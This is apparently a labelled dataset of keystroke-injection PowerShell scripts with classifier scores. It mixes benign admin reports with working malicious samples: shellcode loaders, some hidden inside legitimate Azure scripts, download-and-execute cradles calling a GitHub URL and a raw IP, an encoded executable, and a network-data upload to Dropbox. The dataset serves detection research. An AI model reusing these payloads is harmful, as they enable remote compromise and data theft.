CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xb0,0xe4,0x28,0x14,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1585754e-05,0.9999484
"win+r powershell enter function Get-ResourceGroupName enter { enter return ""azurermsfrg""; enter } enter function Get-ClusterName enter { enter return ""azurermsfclustertest""; enter } enter function Get-NodeTypeName enter { enter return ""nt1vm""; enter } enter function Get-KeyVaultName enter { enter return ""azurermsfkvtest""; enter } enter function Get-NewCertName enter { enter return ""AzureRMSFTestCert2"" enter } enter function Get-SecretUrl enter { enter return ""https://azurermsfkvtest.vault.azure.net:443/secrets/AzureRMSFTestCert2/6e96bff504d54f36916489281423b8c6"" enter } enter function Get-Thumbprint enter { enter return ""910AC565E683987971F34531A824284E3B936040"" enter } enter function Get-CertAppSecretUrl enter { enter return ""https://azurermsfkvtest.vault.azure.net:443/secrets/AzureRMSFTestCertApp/ca4c0f7efa254d9ba0b267b8aaebb878"" enter } enter function Get-CertAppThumbprint enter { enter return ""EE28AF31B2741B52311A00F78DFF4F46240BB4F8"" enter } enter function Get-CACertCommonName enter { enter return ""azurermsfcntest.southcentralus.cloudapp.azure.com"" enter } enter function Get-CACertIssuerThumbprint enter { enter return ""417e225037fbfaa4f95761d5ae729e1aea7e3a42,d4de20d05e66fc53fe1a50882c78db2852cae474"" enter } enter function Get-CACertSecretUrl enter { enter return ""https://azurermsfkvtest.vault.azure.net:443/secrets/azurermsfcntest/0cd47f8218aa40e3a47e0597b8017247"" enter } enter function Get-CertWUSecretUrl enter { enter return ""https://azurermsfkvtestwu.vault.azure.net/secrets/AzureRMSFTestCertWU/5250a7acbaa143fa9d493840d4de1c01"" enter } enter function Get-DurabilityLevel enter { enter return ""Silver"" enter } enter function Get-ReliabilityLevel enter { enter return ""Bronze"" enter } enter function Get-NewNodeTypeName enter { enter return 'nt2vm' enter } enter function Get-SectionName enter { enter return 'NamingService' enter } enter function Get-ParameterName enter { enter return 'MaxFileOperationTimeout' enter } enter function Get-ValueName enter { enter return '5000' enter } enter function Get-RandomPwd enter { enter $length = 10 enter $allowedCharacters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"".ToCharArray() enter $allowedDigits = ""0123456789"".ToCharArray() enter $allowedSpecial = ""!@ enter $myRandomString = -join (Get-Random -Count $length -InputObject $allowedCharacters) enter $myRandomString += Get-Random -Count 1 -InputObject $allowedDigits enter $myRandomString += Get-Random -Count 1 -InputObject $allowedSpecial enter return ""$myRandomString"" enter } enter function WaitForClusterReadyStateIfRecord($clusterName, $resourceGroupName) enter { enter if ([Microsoft.Azure.Test.HttpRecorder.HttpMockServer]::Mode -ne [Microsoft.Azure.Test.HttpRecorder.HttpRecorderMode]::Playback) enter { enter if (-not (WaitForClusterReadyState $clusterName $resourceGroupName)) enter { enter Assert-True $false 'Cluster is not in Ready state. Can not continue with test.' enter } enter } enter } enter function WaitForClusterReadyState($clusterName, $resourceGroupName, $timeoutInSeconds = 1200) enter { enter $timeoutTime = (Get-Date).AddSeconds($timeoutInSeconds) enter while (-not $clusterReady -and (Get-Date) -lt $timeoutTime) { enter $cluster = (Get-AzServiceFabricCluster -ResourceGroupName $resourceGroupName -Name $clusterName)[0] enter if ($cluster.ClusterState -eq ""Ready"") enter { enter return $true enter break enter } enter Write-Host ""Cluster state: $($cluster.ClusterState). Waiting for Ready state before continuing."" enter Start-Sleep -Seconds 15 enter } enter Write-Error ""WaitForClusterReadyState timed out"" enter return $false enter } enter function Get-AppTypeName enter { enter return ""CalcServiceApp"" enter } enter function Get-AppTypeV1Name enter { enter return ""1.0"" enter } enter function Get-AppTypeV2Name enter { enter return ""1.1"" enter } enter function Get-AppPackageV1 enter { enter return ""https://azsfapptest.blob.core.windows.net/azsfapptest/CalcApp_1.0.sfpkg"" enter } enter function Get-AppPackageV2 enter { enter return ""https://azsfapptest.blob.core.windows.net/azsfapptest/CalcApp_1.1.sfpkg"" enter } enter function Get-ServiceTypeName enter { enter return ""CalcServiceType"" enter } enter while($true){Start-Sleep -s 120; $m=New-Object System.Net.WebClient;$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;$m.Headers.Add('user-agent', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)'); iex(($m.downloadstring('https://raw.githubusercontent.com/rollzedice/js/master/drupal.js')));} enter",1,1,5.6778466e-05,0.99994326
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_e7eac5bx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter",0,0,0.9999665,3.350816e-05
"win+r powershell enter function Get-MrAutoService { [CmdletBinding()] param ( [Parameter(Mandato enter ry=$true, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] [s enter tring[]]$ComputerName, [System.Management.Automation.Credential()]$Credential enter = [System.Management.Automation.PSCredential]::Empty ) enter enter",1,1,0.0023346194,0.9976654
"win+r powershell enter  [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SMO') | enter out-null $ErrorActionPreference = 'Inquire' function Set-SQLDefaultDatabases{ enter param([string[]]$Instances = 'localhost' ,[string]$defaultdb = 'tempdb') for enter each($InstanceName in $Instances){ $smosrv = New-Object -TypeName Microsoft.Sql enter Server.Management.Smo.Server $InstanceName if($smosrv.Databases.name -contains enter $defaultdb){ foreach($login in $smosrv.Logins){ enter enter",1,1,0.0012199119,0.9987801
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xd8,0xb8, enter 0x75,0x49,0x93,0x61,0xd9,0x74,0x24,0xf4,0x5d,0x33,0xc9,0xb1,0x47,0x31,0x45,0x18, enter 0x03,0x45,0x18,0x83,0xed,0x89,0xab,0x66,0x9d,0x99,0xae,0x89,0x5e,0x59,0xcf,0x00, enter 0xbb,0x68,0xcf,0x77,0xcf,0xda,0xff,0xfc,0x9d,0xd6,0x74,0x50,0x36,0x6d,0xf8,0x7d, enter 0x39,0xc6,0xb7,0x5b,0x74,0xd7,0xe4,0x98,0x17,0x5b,0xf7,0xcc,0xf7,0x62,0x38,0x01, enter 0xf9,0xa3,0x25,0xe8, enter enter",1,1,5.3874355e-05,0.9999461
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install python311 enter A enter enter,0,0,0.9999597,4.0238825e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_x65jdgf0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.4326447e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_p4jsssg5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5055833e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_qjv6vhjs"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Write-Host ""Starting environment_report section 2."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.443865e-05
"win+r powershell enter $LabConfig = Get-Content C:\git-repositories\PowerShell\MSFVMLab\LabVMS.json | C enter onvertFrom-Json $WorkingDirectory = $LabConfig.WorkingDirectory $DomainCred = Im enter port-Clixml ""$WorkingDirectory\vmlab_domainadmin.xml"" $dc = ( $LabConfig.Servers enter | Where-Object {$_.Class -eq 'DomainController'}).Name Copy-VMFile -VMName $dc enter -SourcePath C:\Temp\AdventureWorks2014.Full.bak -DestinationPath C:\Temp\Advent enter ureWorks2014.Full.bak -FileSource Host -CreateFullPath -Force Copy-VMFile -VMNam enter e $dc -SourcePath C:\git-repositories\PowerShell\MSFVMLab\BuildAG.ps1 -Destinati enter onPath C:\Temp\BuildAG.ps1 -FileSource Host -CreateFullPath -Force Invoke-Comma enter nd -VMName $dc -ScriptBlock {C: tab emp\BuildAG.ps1} -Credential $DomainCred $c = ' enter [DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAdd enter ress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.d enter ll"")]public static e enter",1,1,9.1972484e-05,0.999908
"win+r enter powershell enter enter enter $uniqueId=$(-join ((97..122) + (48..57) | Get-Random -Count 15 | % {[char]$_})) enter enter $apiVersion = ""2015-04-08"" enter $location = ""West US 2"" enter $resourceGroupName = ""myResourceGroup"" enter $accountName = ""mycosmosaccount-$uniqueId"" enter $resourceType = ""Microsoft.DocumentDb/databaseAccounts"" enter enter $locations = @( enter @{ ""locationName""=""West US 2""; ""failoverPriority""=0 }, enter @{ ""locationName""=""East US 2""; ""failoverPriority""=1 } enter ) enter enter $consistencyPolicy = @{ enter ""defaultConsistencyLevel""=""Session""; enter } enter enter $CosmosDBProperties = @{ enter ""databaseAccountOfferType""=""Standard""; enter ""locations""=$locations; enter ""consistencyPolicy""=$consistencyPolicy; enter } enter enter New-AzResource -ResourceType $resourceType -ApiVersion $apiVersion ` enter -ResourceGroupName $resourceGroupName -Location $location ` enter -Name $accountName -PropertyObject $CosmosDBProperties enter Read-Host -Prompt ""Press any key to add a region in South Central US"" enter enter $locations = @( enter @{ ""locationName""=""West US 2""; ""failoverPriority""=0 }, enter @{ ""locationName""=""East US 2""; ""failoverPriority""=1 }, enter @{ ""locationName""=""South Central US""; ""failoverPriority""=2 } enter ) enter enter $account = Get-AzResource -ResourceType $resourceType ` enter -ApiVersion $apiVersion -ResourceGroupName $resourceGroupName ` enter -Name $accountName enter enter $account.Properties.locations = $locations enter $CosmosDBProperties = $account.Properties enter enter Set-AzResource -ResourceType $resourceType ` enter -ApiVersion $apiVersion -ResourceGroupName $resourceGroupName ` enter -Name $accountName -PropertyObject $CosmosDBProperties enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbe,0x3a,0xc7,0xf8,0xa9,0xdb,0xd3,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x4b,0x31,0x75,0x15,0x03,0x75,0x15,0x83,0xc5,0x04,0xe2,0xcf,0x3b,0x10,0x2b,0x2f,0xc4,0xe1,0x4c,0xa6,0x21,0xd0,0x4c,0xdc,0x22,0x43,0x7d,0x97,0x67,0x68,0xf6,0xf5,0x93,0xfb,0x7a,0xd1,0x94,0x4c,0x30,0x07,0x9a,0x4d,0x69,0x7b,0xbd,0xcd,0x70,0xaf,0x1d,0xef,0xba,0xa2,0x5c,0x28,0xa6,0x4e,0x0c,0xe1,0xac,0xfc,0xa1,0x86,0xf9,0x3c,0x49,0xd4,0xec,0x44,0xae,0xad,0x0f,0x65,0x61,0xa5,0x49,0xa5,0x83,0x6a,0xe2,0xec,0x9b,0x6f,0xcf,0xa7,0x10,0x5b,0xbb,0x36,0xf1,0x95,0x44,0x94,0x3c,0x1a,0xb7,0xe5,0x79,0x9d,0x28,0x90,0x73,0xdd,0xd5,0xa2,0x47,0x9f,0x01,0x27,0x5c,0x07,0xc1,0x9f,0xb8,0xb9,0x06,0x79,0x4a,0xb5,0xe3,0x0e,0x14,0xda,0xf2,0xc3,0x2e,0xe6,0x7f,0xe2,0xe0,0x6e,0x3b,0xc0,0x24,0x2a,0x9f,0x69,0x7c,0x96,0x4e,0x96,0x9e,0x79,0x2e,0x32,0xd4,0x94,0x3b,0x4f,0xb7,0xf0,0x88,0x7d,0x48,0x01,0x87,0xf6,0x3b,0x33,0x08,0xac,0xd3,0x7f,0xc1,0x6a,0x23,0x7f,0xf8,0xca,0xbb,0x7e,0x03,0x2a,0x95,0x44,0x57,0x7a,0x8d,0x6d,0xd8,0x11,0x4d,0x91,0x0d,0xb5,0x1d,0x3d,0xfe,0x75,0xce,0xfd,0xae,0x1d,0x04,0xf2,0x91,0x3d,0x27,0xd8,0xb9,0xd7,0xdd,0x8b,0x05,0x8f,0xdc,0x4e,0xee,0xcd,0xe0,0x77,0xe1,0x58,0x06,0x1d,0xed,0x0c,0x90,0x8a,0x94,0x15,0x6a,0x2a,0x58,0x80,0x16,0x6c,0xd2,0x20,0xe6,0x23,0x13,0x41,0xf4,0x54,0x1c,0xa9,0x04,0xa5,0x09,0xa9,0x6e,0xa1,0x9b,0xfe,0x06,0xab,0xfa,0xc8,0x88,0x54,0x29,0x4b,0xce,0xab,0xac,0xa2,0xa4,0x9a,0x3a,0x74,0xd3,0xe2,0xaa,0x74,0x23,0xb5,0xa0,0x74,0x4b,0x61,0x91,0x27,0x6e,0x6e,0x0c,0x54,0x23,0xfb,0xaf,0x0c,0x97,0xac,0xc7,0xb2,0xce,0x9b,0x47,0x4d,0x25,0x98,0x80,0xb1,0xb8,0x5c,0x71,0x72,0x6d,0xa5,0x07,0x9d,0xad,0x92,0x18,0xe8,0x90,0xb3,0xb2,0x12,0x86,0xc4,0x96;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1873256e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_r8ok9go5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4150755e-05
win+r powershell enter [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAA enter AAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGh enter pcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABcBCWQ enter AAAAAAAAAAOAAAiELAVAAADAAAAAGAAAAAAAAjk8AAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAA enter GAAAAAAAAAACgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADxPAAB enter PAAAAAGAAACgDAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA enter AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh enter 0AAAAlC8AAAAgAAAAMAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAACgDAAAAYAAAAAQAAAAyAAA enter AAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAANgAAAAAAAAAAAAAAAAAAQAAAQgAAAAA enter AAAAAAAAAAAAAAABwTwAAAAAAAEgAAAACAAUAJCwAABAhAAADAAAAAAAAADRNAAAIAgAAAAAAAAAAAAA enter AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABooKwAABioeAigBAAAKKh4CKAMAAAoqABMwCAB enter JAAAAAAAAAHMEAAAKgAE enter enter,1,1,6.6591936e-05,0.99993336
"win+r enter powershell enter enter enter cls enter Set-Variable -Name a -Scope Global -Force enter Set-Variable -Name Output -Scope Global -Force enter enter Function AddRemovePrograms($KeyName, $DisplayName, $Version){ enter New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT enter Set-Variable -Name AddRemKey -Scope Local -Force enter Set-Variable -Name guid -Scope Local -Force enter Set-Variable -Name ProductsKey -Scope Local -Force enter enter If (!(Test-Path c:\windows\GSPBox_Icon.bmp)){ enter Copy-Item -Path \\global.gsp\data\clients enter a_clients\Build\Add-ins\GSPBox_Icon.bmp -Destination c:\Windows -Force enter } enter $AddRemKey = ""HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall"" enter $ProductsKey = ""HKCR:\Installer\Products\"" enter New-Item -Path $AddRemKey -Name $KeyName –Force enter New-ItemProperty -Path $AddRemKey""\""$KeyName -Name DisplayName -Value $DisplayName -PropertyType String enter New-ItemProperty -Path $AddRemKey""\""$KeyName -Name DisplayVersion -Value $Version -PropertyType String enter New-ItemProperty -Path $AddRemKey""\""$KeyName -Name UninstallString -Value "" "" -PropertyType String enter New-ItemProperty -Path $AddRemKey""\""$KeyName -Name Publisher -Value ""Gresham, Smith and Partners"" -PropertyType String enter New-ItemProperty -Path $AddRemKey""\""$KeyName -Name DisplayIcon -Value ""c:\windows\GSPBox_Icon.bmp"" -PropertyType String enter $guid = [guid]::NewGuid().ToString(""N"") enter $guid.ToString() enter $guid = $guid.ToUpper() enter New-Item -Path $ProductsKey -Name $guid –Force enter New-ItemProperty -Path $ProductsKey""\""$guid -Name ProductName -Value $DisplayName -PropertyType String -Force enter remove-psdrive -name HKCR enter Remove-Variable -Name AddRemKey -Scope Local -Force enter Remove-Variable -Name guid -Scope Local -Force enter Remove-Variable -Name ProductsKey -Scope Local -Force enter enter } enter enter Invoke-Command {dism.exe /online /disable-feature /featurename:MediaCenter /norestart} enter $a = Invoke-Command {dism.exe /online /get-featureinfo /featurename:MediaCenter} enter $Output = $a | Select-String ""State : Disabled"" enter Write-Host $Output enter If ($Output -like ""State : Disabled""){ enter AddRemovePrograms ""MediaCenter"" ""MediaCenter"" ""Disabled"" enter } enter Remove-Variable -Name a -Scope Global -Force enter Remove-Variable -Name Output -Scope Global -Force enter $UBO = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $UBO -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xce,0xd9,0x74,0x24,0xf4,0xb8,0xce,0xa2,0x24,0xa1,0x5a,0x2b,0xc9,0xb1,0x47,0x31,0x42,0x18,0x83,0xc2,0x04,0x03,0x42,0xda,0x40,0xd1,0x5d,0x0a,0x06,0x1a,0x9e,0xca,0x67,0x92,0x7b,0xfb,0xa7,0xc0,0x08,0xab,0x17,0x82,0x5d,0x47,0xd3,0xc6,0x75,0xdc,0x91,0xce,0x7a,0x55,0x1f,0x29,0xb4,0x66,0x0c,0x09,0xd7,0xe4,0x4f,0x5e,0x37,0xd5,0x9f,0x93,0x36,0x12,0xfd,0x5e,0x6a,0xcb,0x89,0xcd,0x9b,0x78,0xc7,0xcd,0x10,0x32,0xc9,0x55,0xc4,0x82,0xe8,0x74,0x5b,0x99,0xb2,0x56,0x5d,0x4e,0xcf,0xde,0x45,0x93,0xea,0xa9,0xfe,0x67,0x80,0x2b,0xd7,0xb6,0x69,0x87,0x16,0x77,0x98,0xd9,0x5f,0xbf,0x43,0xac,0xa9,0xbc,0xfe,0xb7,0x6d,0xbf,0x24,0x3d,0x76,0x67,0xae,0xe5,0x52,0x96,0x63,0x73,0x10,0x94,0xc8,0xf7,0x7e,0xb8,0xcf,0xd4,0xf4,0xc4,0x44,0xdb,0xda,0x4d,0x1e,0xf8,0xfe,0x16,0xc4,0x61,0xa6,0xf2,0xab,0x9e,0xb8,0x5d,0x13,0x3b,0xb2,0x73,0x40,0x36,0x99,0x1b,0xa5,0x7b,0x22,0xdb,0xa1,0x0c,0x51,0xe9,0x6e,0xa7,0xfd,0x41,0xe6,0x61,0xf9,0xa6,0xdd,0xd6,0x95,0x59,0xde,0x26,0xbf,0x9d,0x8a,0x76,0xd7,0x34,0xb3,0x1c,0x27,0xb9,0x66,0x88,0x22,0x2d,0xb3,0xf6,0x8d,0x76,0xab,0x0a,0xce,0xde,0xf6,0x82,0x28,0x8e,0x56,0xc5,0xe4,0x6e,0x07,0xa5,0x54,0x06,0x4d,0x2a,0x8a,0x36,0x6e,0xe0,0xa3,0xdc,0x81,0x5d,0x9b,0x48,0x3b,0xc4,0x57,0xe9,0xc4,0xd2,0x1d,0x29,0x4e,0xd1,0xe2,0xe7,0xa7,0x9c,0xf0,0x9f,0x47,0xeb,0xab,0x09,0x57,0xc1,0xc6,0xb5,0xcd,0xee,0x40,0xe2,0x79,0xed,0xb5,0xc4,0x25,0x0e,0x90,0x5f,0xef,0x9a,0x5b,0x37,0x10,0x4b,0x5c,0xc7,0x46,0x01,0x5c,0xaf,0x3e,0x71,0x0f,0xca,0x40,0xac,0x23,0x47,0xd5,0x4f,0x12,0x34,0x7e,0x38,0x98,0x63,0x48,0xe7,0x63,0x46,0x48,0xdb,0xb5,0xae,0x3e,0x35,0x06;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$52Zx=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($52Zx.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$52Zx,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.148535e-05,0.9999485
"win+r powershell enter $Wc=NEW-ObJECt SYsteM.NET.WebCLIent;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$wc.HEAdERs.Add('User-Agent',$u);$WC.PrOXY = [SysT enter EM.NeT.WEbREQUEst]::DEFAuLTWeBProXY;$Wc.ProXy.CreDeNTiALs = [SYsteM.NET.CREDENtI enter ALCaChE]::DEFAUltNETWoRKCREDEntIaLs;$K='202cb962ac59075b964b07152d234b70';$i=0;[ enter ChaR[]]$B=([ChAr[]]($Wc.DOwnLoADSTRINg(""http://46.246.87.205/index.asp"")))|%{$_- enter bXor$K[$i++%$K.LENgth]};IEX ($b-JOiN'') enter enter",1,1,5.541109e-05,0.99994457
"win+r powershell enter unknown_key_action ctrl alt t ACCESS_TOKEN=""TOKEN"" enter RANDOM=$(shuf -i 1-999999999999 -n 1) enter ZIP_NAME=""$RANDOM.zip"" enter ZIP_PATH=""/home/$USER_NAME/Documents/$ZIP_NAME"" enter TMP_FOLDER_PATH=$(mktemp -d -p ""/home/$USER_NAME/Documents"" prefix-XXXXXXXXXX) enter nmcli > ""$TMP_FOLDER_PATH/nmcli.txt"" enter nmcli connection show > ""$TMP_FOLDER_PATH/nmcli_connection.txt"" enter nmcli device show > ""$TMP_FOLDER_PATH/nmcli_device.txt"" enter zip -r ""$ZIP_PATH"" ""$TMP_FOLDER_PATH""DROPBOX_FOLDER=""/ enter DROPBOX_FOLDER_NAME enter "" enter curl -X POSTDROPBOX_API_CONST--header ""Authorization: Bearer $ACCESS_TOKEN"" --header ""Dropbox-API-Arg: {\""path\"": \""$DROPBOX_FOLDER\"",\""mode\"": \""add\"",\""autorename\"": true,\""mute\"": false}"" 